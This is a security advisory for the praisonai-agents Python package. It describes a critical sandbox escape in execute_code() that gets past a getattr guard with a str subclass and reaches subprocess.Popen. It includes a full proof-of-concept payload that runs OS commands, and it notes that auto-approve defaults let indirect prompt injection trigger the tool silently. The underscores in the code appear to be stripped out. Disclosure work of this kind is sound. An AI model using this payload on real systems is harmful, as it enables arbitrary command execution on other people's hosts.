PT-2026-53559 · Pypi · Praisonaiagents
Published
2026-06-29
·
Updated
2026-06-29
CVSS v3.1
10
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Summary
execute code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safe getattr wrapper, achieving arbitrary OS command execution on the host.Details
python tools.py:20 (source) -> python tools.py:22 (guard bypass) -> python tools.py:161 (sink)python
# source -- safe getattr accepts any str subclass
def safe getattr(obj, name, *default):
if isinstance(name, str) and name.startswith(' '): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via subclasses walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)PoC
python
from praisonaiagents.tools.python tools import execute code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro attr = FakeStr(''.join([' ',' ','m','r','o',' ',' ']))
subs attr = FakeStr(''.join([' ',' ','s','u','b','c','l','a','s','s','e','s',' ',' ']))
mod attr = FakeStr(''.join([' ',' ','m','o','d','u','l','e',' ',' ']))
name attr = FakeStr(''.join([' ',' ','n','a','m','e',' ',' ']))
PIPE = -1
obj class = getattr(type(()), mro attr)[1]
for cls in getattr(obj class, subs attr)():
try:
m = getattr(cls, mod attr, '')
n = getattr(cls, name attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...Impact
Any user or agent pipeline running
execute code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy mode.py, or bots cli.py set PRAISONAI AUTO APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonaiagents